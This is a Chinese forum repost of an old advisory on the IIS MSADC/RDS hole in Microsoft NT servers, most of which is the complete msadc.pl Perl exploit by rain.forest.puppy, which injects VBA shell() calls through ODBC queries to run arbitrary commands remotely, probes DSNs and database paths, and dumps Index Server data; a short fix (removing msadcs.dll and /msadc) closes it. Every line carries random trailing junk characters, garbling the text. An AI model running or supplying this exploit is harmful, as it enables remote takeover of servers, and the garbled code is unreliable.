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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Dwi[aC+k  
-nKBSls  
涉及程序: '<KzWxuC  
Microsoft NT server n+;PfQ|  
jHWJpm(  
描述: WA79(B  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 aShZdeC*f  
Mb[4G>-v=  
详细: D[iIj_CKQ  
如果你没有时间读详细内容的话,就删除: js8GK  
c:\Program Files\Common Files\System\Msadc\msadcs.dll K#],4OG  
有关的安全问题就没有了。 26\*x  
"yV)&4 )  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ky5gU[  
g+iV0bbT  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >`'>,n |  
关于利用ODBC远程漏洞的描述,请参看: iWNTI  
^Wz3 q-^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -hP-w>  
;q&\>u:  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ,9;d"ce  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp G$HLta  
JI}p{ yI  
这里不再论述。 C'$}!p70  
/+F|+1   
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 5"JnJH  
y Yvv;E  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ,.+"10=N.  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! @5# RGM)5^  
 YErn50L  
"yCek  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !%2aw0Yv  
Y; eJo  
#!perl NR)[,b\v  
# ~-w  
# MSADC/RDS 'usage' (aka exploit) script YMx zj  
# r,4V SyZF\  
# by rain.forest.puppy I({ 7a i  
# %KmB>9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me fV.43E  
# beta test and find errors! Ueyt}44.e2  
r4c3t,L*$I  
use Socket; use Getopt::Std; p3eJFg$  
getopts("e:vd:h:XR", \%args); r}~l(  
ka&-tGg  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; : |c,.uO  
VrokEK*qbY  
if (!defined $args{h} && !defined $args{R}) { CFh&z^]PR  
print qq~ (;T; ?v`-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } IfZaK([  
-h <host> = host you want to scan (ip or domain) ;61m  
-d <seconds> = delay between calls, default 1 second t747SZWgB  
-X = dump Index Server path table, if available Ffm Q$>S  
-v = verbose y tmlG%  
-e = external dictionary file for step 5 -7" >A~c  
ZX.VzZS  
Or a -R will resume a command session ':!;6v|L  
uBks#Y*3$  
~; exit;} S@7A)  
r`cCHZo/V  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^U_B>0`ch  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} *qG=p`  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "7 )F";_(^  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); C_#0Y_O  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o\Hg2^YY>  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } i*Y/q-N|  
$}k"wI[  
if (!defined $args{R}){ $ret = &has_msadc; %p2C5z?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \FTv N  
DI}h?Uf ,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ?k_=?m  
. "cmd /c "; Q$,8yTM  
$in=<STDIN>; chomp $in; [-$&pB>w8'  
$command="cmd /c " . $in ; SQ5*?u\  
;lAz@jr+  
if (defined $args{R}) {&load; exit;} `bT{E.(T  
YQN=.Wtc  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; .(S,dG0P  
&try_btcustmr; -"a+<(Y  
3 XfXMVm  
print "\nStep 2: Trying to make our own DSN..."; 1}8e@`G0.]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +nMgQOs  
V6$v@Zq  
print "\nStep 3: Trying known DSNs..."; K)Db3JIIk  
&known_dsn; g\(7z P  
'*3+'>   
print "\nStep 4: Trying known .mdbs..."; X\%],"9%  
&known_mdb; 5Ll[vBW  
:` ~b&Oz)  
if (defined $args{e}){ ,(`@ZFp$  
print "\nStep 5: Trying dictionary of DSN names..."; xJ&StN/'  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } jSYj+k  
^1cqx]>E  
print "Sorry Charley...maybe next time?\n"; syZ-xE]}  
exit; =_yOX=g|  
\R-u+ci$ZY  
############################################################################## x(b&r g.-0  
C}1(@$  
sub sendraw { # ripped and modded from whisker C#-x 3d-{  
sleep($delay); # it's a DoS on the server! At least on mine... c~RIl5j  
my ($pstr)=@_; Pucf0 #  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5e2m EQU>  
die("Socket problems\n"); _ u:#2K$  
if(connect(S,pack "SnA4x8",2,80,$target)){ VS).!;>z  
select(S); $|=1; ;C"J5RA  
print $pstr; my @in=<S>; Oy|9po  
select(STDOUT); close(S); 7>ODaj   
return @in; y~luuV;uj  
} else { die("Can't connect...\n"); }} v;$^1I  
8Peqm?{5Y5  
############################################################################## 5%>U.X?i  
K0E ;4r  
sub make_header { # make the HTTP request J5o"JRJ"  
my $msadc=<<EOT ifgaBXT55  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 R*[ACpxr  
User-Agent: ACTIVEDATA Lw#h nLI.  
Host: $ip B\=&v8  
Content-Length: $clen Z?x]HB`r  
Connection: Keep-Alive #* Hhe>  
ZbGyl}8ua  
ADCClientVersion:01.06 F@I_sGCcb  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Ci*5E$+\  
U=yD!  
--!ADM!ROX!YOUR!WORLD! ZE\t{s0  
Content-Type: application/x-varg ry< P LRN  
Content-Length: $reqlen ;% !?dH6  
PLY7qM w  
EOT >'T%=50YH  
; $msadc=~s/\n/\r\n/g; sS|zz,y  
return $msadc;} /.?\P#9)  
f@}(<#  
############################################################################## lR(&Wc\j  
.U3p~M+  
sub make_req { # make the RDS request =['ijD4TW  
my ($switch, $p1, $p2)=@_; UB1/FM4~  
my $req=""; my $t1, $t2, $query, $dsn; MJC Yi<D  
+|?c_vD  
if ($switch==1){ # this is the btcustmr.mdb query M`<D Z<:<  
$query="Select * from Customers where City=" . make_shell(); j;y|Ys)I  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /0c&!OP  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} E.6\(^g  
B%pvk.`  
elsif ($switch==2){ # this is general make table query D[r  
$query="create table AZZ (B int, C varchar(10))"; %qQ(@TG  
$dsn="$p1";} S3<v?tqLr  
f LW>-O73  
elsif ($switch==3){ # this is general exploit table query S&Sf}uK  
$query="select * from AZZ where C=" . make_shell(); M,@SUu v"  
$dsn="$p1";} /7#&qx8  
Yru[{h8hw`  
elsif ($switch==4){ # attempt to hork file info from index server w-"&;klV  
$query="select path from scope()"; Lv4=-mWv&0  
$dsn="Provider=MSIDXS;";} +{I\r|  
$>UzXhf}\  
elsif ($switch==5){ # bad query (wfg84  
$query="select"; dF,FH-  
$dsn="$p1";} J$Q-1fjj  
a#IJ<^[8  
$t1= make_unicode($query); )yP>}ME  
$t2= make_unicode($dsn); g)9/z  
$req = "\x02\x00\x03\x00"; f+6l0@K2  
$req.= "\x08\x00" . pack ("S1", length($t1)); P Cf|^X#B  
$req.= "\x00\x00" . $t1 ; m&q;.|W  
$req.= "\x08\x00" . pack ("S1", length($t2)); >+#[O"  
$req.= "\x00\x00" . $t2 ; ,2`d3u^CW  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 6S<$7=$ =  
return $req;} 0- UeFy  
P1QJ'eC;T  
############################################################################## A E711l-  
Lk9>7xY  
sub make_shell { # this makes the shell() statement vFOv IVp  
return "'|shell(\"$command\")|'";} 07|NPS  
7|-xM>L$A  
############################################################################## 0Nu]N)H5<l  
K*9b `%  
sub make_unicode { # quick little function to convert to unicode UjaC( c  
my ($in)=@_; my $out; o zYI/b^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } uFm-HR@4  
return $out;} + joE  
FQFENq''B  
############################################################################## $<4Ar*i  
LXLDu2/@  
sub rdo_success { # checks for RDO return success (this is kludge) |pqpF?h5|  
my (@in) = @_; my $base=content_start(@in); O[y`'z;C  
if($in[$base]=~/multipart\/mixed/){ -z$0S%2?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} l5[xJH  
return 0;} FW DuH`-5  
)^N8L<   
############################################################################## |S{P`)z%f  
*u/|NU&X  
sub make_dsn { # this makes a DSN for us hD1AK+y  
my @drives=("c","d","e","f"); Y14R"*t~  
print "\nMaking DSN: "; X{}#hyYk"  
foreach $drive (@drives) { kZ9< j+.  
print "$drive: "; %j">&U.[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . +ca296^  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" +{%(_ <  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); A#X.c=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; \`&pk-uW  
return 0 if $2 eq "404"; # not found/doesn't exist e@=[+iJc  
if($2 eq "200") { =h::VB}Lv  
foreach $line (@results) { #2jn4>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1bg@[YN!;  
} return 0;} ok s=|'&  
d7J[.^\  
############################################################################## |OZ>/l {  
7;'.5,-3c  
sub verify_exists { lE)rRG+JLW  
my ($page)=@_; I ~L Q1 _  
my @results=sendraw("GET $page HTTP/1.0\n\n"); W8$=a  
return $results[0];} d._gH#&v  
~f10ZB_k>'  
############################################################################## IS2Ij  
;"Y;l=9_  
sub try_btcustmr { V-;nj,.mY  
my @drives=("c","d","e","f"); &JhIn%=-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); fslk7RlSKg  
&n]Z1e}5  
foreach $dir (@dirs) { _8li4;F  
print "$dir -> "; # fun status so you can see progress s.;KVy,=Bu  
foreach $drive (@drives) { 7G[ GHc>  
print "$drive: "; # ditto 5u)^FIBj  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; x_y>j)  
$reqlenlen=length( "$reqlen" ); n5k^v $'  
$clen= 206 + $reqlenlen + $reqlen; .;Utkf'I  
y- <PsP-I  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \kV7NA  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} r(1pvcWY-  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ONN{4&7@<  
).+xcv   
############################################################################## m0A@jWgd  
!|<f%UO  
sub odbc_error { r,.95@  
my (@in)=@_; my $base; 0Dm`Ek3A7x  
my $base = content_start(@in); c+b:K  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this =*:[(Py1  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ay:\P.`5)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i[ Gw 7'f  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eW"x%|/Q7  
return $in[$base+4].$in[$base+5].$in[$base+6];} 4-M6C 5#.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; lYZ@a4TA  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . W -C0 YU1  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1!;"bHpk  
ZaRr2Z:!  
############################################################################## 7:VEM;[d  
HV*:<2P%D  
sub verbose { !QQ<Ai!E  
my ($in)=@_; 9Nag%o{*S>  
return if !$verbose; J"D&q  
print STDOUT "\n$in\n";} f^6&Fb>  
2yJ7]+Jd7Y  
############################################################################## 9!O+Ryy?\  
OP|.I._I  
sub save { [I++>4  
my ($p1, $p2, $p3, $p4)=@_; #"o6OEy$A#  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; [al(>Wr9  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6z p@#vYI  
close OUT;} k5fH ;  
L_ Xn,  
############################################################################## 4uO @`0:x  
~4=]%XYz  
sub load { [NCXn>Z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; x;ERRK  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); pu2wEQ  
@p=<IN>; close(IN); [.#p  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); (5Z8zNH`3  
$target= inet_aton($ip) || die("inet_aton problems"); I*+LJy;j  
print "Resuming to $ip ..."; H;TOPtt2  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; j#LV7@H.e?  
if($p[1]==1) { q(ZB.  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; F,L82N6\U  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;  r21?c|IP  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); |iwM9oO%  
if (rdo_success(@results)){print "Success!\n";} P EX26==  
else { print "failed\n"; verbose(odbc_error(@results));}} @sB}q 6>  
elsif ($p[1]==3){ fR]p+\#8u*  
if(run_query("$p[3]")){ i_[ HcgT-  
print "Success!\n";} else { print "failed\n"; }} 1BMV=_  
elsif ($p[1]==4){ ]689Q%D  
if(run_query($drvst . "$p[3]")){ Ad}-I%Ie  
print "Success!\n"; } else { print "failed\n"; }} r+[#%%}ea  
exit;} <?> I\  
PSP1>-7)w  
############################################################################## a!c/5)v(  
w2uRN?  
sub create_table { 9D{u,Q V  
my ($in)=@_; r!=]Q}`F  
$reqlen=length( make_req(2,$in,"") ) - 28; ]/aRc=Gn  
$reqlenlen=length( "$reqlen" ); ;_?zB NW  
$clen= 206 + $reqlenlen + $reqlen; k8InbX[  
my @results=sendraw(make_header() . make_req(2,$in,"")); }|Hw0zP.  
return 1 if rdo_success(@results); wq:b j=j  
my $temp= odbc_error(@results); verbose($temp);  ESC  
return 1 if $temp=~/Table 'AZZ' already exists/; oTq%wi6 _  
return 0;} 5}-)vsa`  
W;3 R;  
############################################################################## p/ziFpU  
E<D+)A  
sub known_dsn { -vv   
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go BpQ;w,sefq  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", im_w+h%^  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", E@5zd@[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ^#a#<8Jz  
9l]UE0yTL/  
foreach $dSn (@dsns) { 'sm[CNzS  
print "."; %-@'CNP  
next if (!is_access("DSN=$dSn")); #W>x\  
if(create_table("DSN=$dSn")){ &q ," !:L]  
print "$dSn successful\n"; gZw\*9Q9  
if(run_query("DSN=$dSn")){ uuI3NAi~  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4/*]`  
print "Something's borked. Use verbose next time\n";}}} print "\n";} G*)s%2c>h  
KcIc'G 9  
############################################################################## $x;tSJ)m~  
2^ zg0!z  
sub is_access { EHH|4;P6  
my ($in)=@_; oS[W*\7'!  
$reqlen=length( make_req(5,$in,"") ) - 28; sl~b\j  
$reqlenlen=length( "$reqlen" ); z{_mEE49  
$clen= 206 + $reqlenlen + $reqlen; 3mpP| b"  
my @results=sendraw(make_header() . make_req(5,$in,"")); 98D{{j92  
my $temp= odbc_error(@results); }U2[?  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); euRCBzc  
return 0;} er(8}]X8Q  
tH-gaDj_  
############################################################################## '9^E8+=|  
V[#6yMU@  
sub run_query { X32RZ9y  
my ($in)=@_; 4qqF v?O[r  
$reqlen=length( make_req(3,$in,"") ) - 28; @; W<dJ<X  
$reqlenlen=length( "$reqlen" ); cge-'/8w%  
$clen= 206 + $reqlenlen + $reqlen; TAXd,z N  
my @results=sendraw(make_header() . make_req(3,$in,"")); S|l&fb n  
return 1 if rdo_success(@results); P1dN32H o  
my $temp= odbc_error(@results); verbose($temp); 5fU!'ajaN7  
return 0;} #o"tMh!f  
6(:)otz  
############################################################################## )8:n}w  
CP}0Ri)  
sub known_mdb { ,Yo: &>As  
my @drives=("c","d","e","f","g"); X>2? `8M  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _\p`4-.V  
my $dir, $drive, $mdb; A8J?A#R*{q  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; JFe4/ V  
P;jlHZ9?O  
# this is sparse, because I don't know of many $$42pb.  
my @sysmdbs=( "\\catroot\\icatalog.mdb", O)l%OOv   
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5Lw{0uLr  
"\\system32\\certmdb.mdb", ;.\g-`jb  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 0xv\D0  
X!o@f$  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", g/x_m.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /=bSt  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", t`uc3ta"9  
"\\cfusion\\cfapps\\security\\realm_.mdb", b"^\)|*4;  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", f;R>Pr;rD  
"\\cfusion\\database\\cfexamples.mdb", (s&ORoVGn  
"\\cfusion\\database\\cfsnippets.mdb", >;m{{nj  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", |%-YuD  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", k/U>N|5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", bea|?lK  
"\\cfusion\\database\\smpolicy.mdb", ^+EMZFjg(  
"\\cfusion\\database\cypress.mdb", 3=IG#6)~C  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", >cTjA):  
"\\website\\cgi-win\\dbsample.mdb", iFSJ4 W(  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Mg+4huT  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" u9BjgK(M  
); #these are just % ^e@`0L  
foreach $drive (@drives) { O6/xPeak  
foreach $dir (@dirs){ vpi l$Uq  
foreach $mdb (@sysmdbs) { !h?=Wv ==]  
print "."; 'bl%Y).9w  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ %Or2iuO%-,  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; f P+QxOz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ XYMxG:  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;  C[R`Ml  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *G\=i A  
l`* ( f9Q  
foreach $drive (@drives) { p x0Sy|  
foreach $mdb (@mdbs) { gXF.on4B  
print "."; uQWp+}>ZJy  
if(create_table($drv . $drive . $dir . $mdb)){ %iX/y  
print "\n" . $drive . $dir . $mdb . " successful\n"; $Vsy%gA<  
if(run_query($drv . $drive . $dir . $mdb)){ CGkI\E  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; eJW[ ]!  
} else { print "Something's borked. Use verbose next time\n"; }}}} wz h.$?~  
} \x(.d.l/  
bK?MT]%}r  
############################################################################## x vdY 8%S  
zPHy2H$28  
sub hork_idx { >GmN~"iJ  
print "\nAttempting to dump Index Server tables...\n"; G@B*E%$9  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; M.S s: ttj  
$reqlen=length( make_req(4,"","") ) - 28; ETe-  
$reqlenlen=length( "$reqlen" );  tq0;^L  
$clen= 206 + $reqlenlen + $reqlen; TH YVT%v  
my @results=sendraw2(make_header() . make_req(4,"","")); 6W$rY] h!  
if (rdo_success(@results)){ !D7"=G}HD  
my $max=@results; my $c; my %d; TqAtcAurM  
for($c=19; $c<$max; $c++){ fy`+Efuj  
$results[$c]=~s/\x00//g; LfHzT<)|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; A*Rn<{U  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; EQ/^&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; oE6|Zw  
$d{"$1$2"}="";} # 3.\j"b  
foreach $c (keys %d){ print "$c\n"; } BW>5?0E[4(  
} else {print "Index server doesn't seem to be installed.\n"; }} 9{$8\E9*nd  
Hg aZbb>'  
############################################################################## GY9y9HNZ  
W"|mpxp  
sub dsn_dict { LJj=]_  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ~GA8_B  
while(<IN>){ 5N1}Ns  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; p&\K9hfi  
next if (!is_access("DSN=$dSn")); Y+@g~TE  
if(create_table("DSN=$dSn")){ o)p[ C   
print "$dSn successful\n"; Fe5jdV<  
if(run_query("DSN=$dSn")){ |/*pT1(&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { vlu $!4I  
print "Something's borked. Use verbose next time\n";}}} @+:4J_N  
print "\n"; close(IN);} 7=vYO|a/4  
8""mp]o9  
############################################################################## Xo8DEr  
JtFiFaCxY  
sub sendraw2 { # ripped and modded from whisker @C=M UT-!  
sleep($delay); # it's a DoS on the server! At least on mine... 3}j1RYtz  
my ($pstr)=@_; i5VG2S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || P.h.M A]  
die("Socket problems\n"); Z}+yI,  
if(connect(S,pack "SnA4x8",2,80,$target)){ I-bF{  
print "Connected. Getting data"; ^SAq^3^P!  
open(OUT,">raw.out"); my @in; 9T?64t<Ju  
select(S); $|=1; print $pstr; 8kS~ENe?o  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} <6R"h-u"  
close(OUT); select(STDOUT); close(S); return @in; Y&g&n o_  
} else { die("Can't connect...\n"); }} {>h97}P  
y?Onb 3%  
############################################################################## / gu3@@h  
8%-%AWF]  
sub content_start { # this will take in the server headers p-Pz=Cx-  
my (@in)=@_; my $c; #%8 w  
for ($c=1;$c<500;$c++) { C\A49q  
if($in[$c] =~/^\x0d\x0a/){ {xToz]YA  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } l&Q!mU}  
else { return $c+1; }}} 9~~UM<66W  
return -1;} # it should never get here actually q]XHa,"  
Um\0i;7 ~4  
############################################################################## (6clq:c7j  
3~<}bee5|q  
sub funky { sf)W~Lx 5a  
my (@in)=@_; my $error=odbc_error(@in); Pin/qp&Fa8  
if($error=~/ADO could not find the specified provider/){ ($S Lb6  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :<%vE!$  
exit;} Pr/]0<s  
if($error=~/A Handler is required/){ 6c &Y  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^yJ:+m;6K  
exit;} sOz sY7z3Z  
if($error=~/specified Handler has denied Access/){ 5(#-)rlGj  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7wi%j!  
exit;}} "Yb y  
5r7h=[N  
############################################################################## )$_,?*fq:  
(tKMBxQo8  
sub has_msadc { 8^vArS;  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); k!owl+a   
my $base=content_start(@results); %E.S[cf%8&  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); <[<247%  
return 0;} PU Cx]5  
tl^m=(ZQ  
######################## .Q[yD<)Ubs  
nh0&'hA  
6pm~sD  
解决方案: |[LE9Lq/  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ?bI?GvSh  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Mpm#GdT  
;($1Z7j+  
拿出来充数 哈哈
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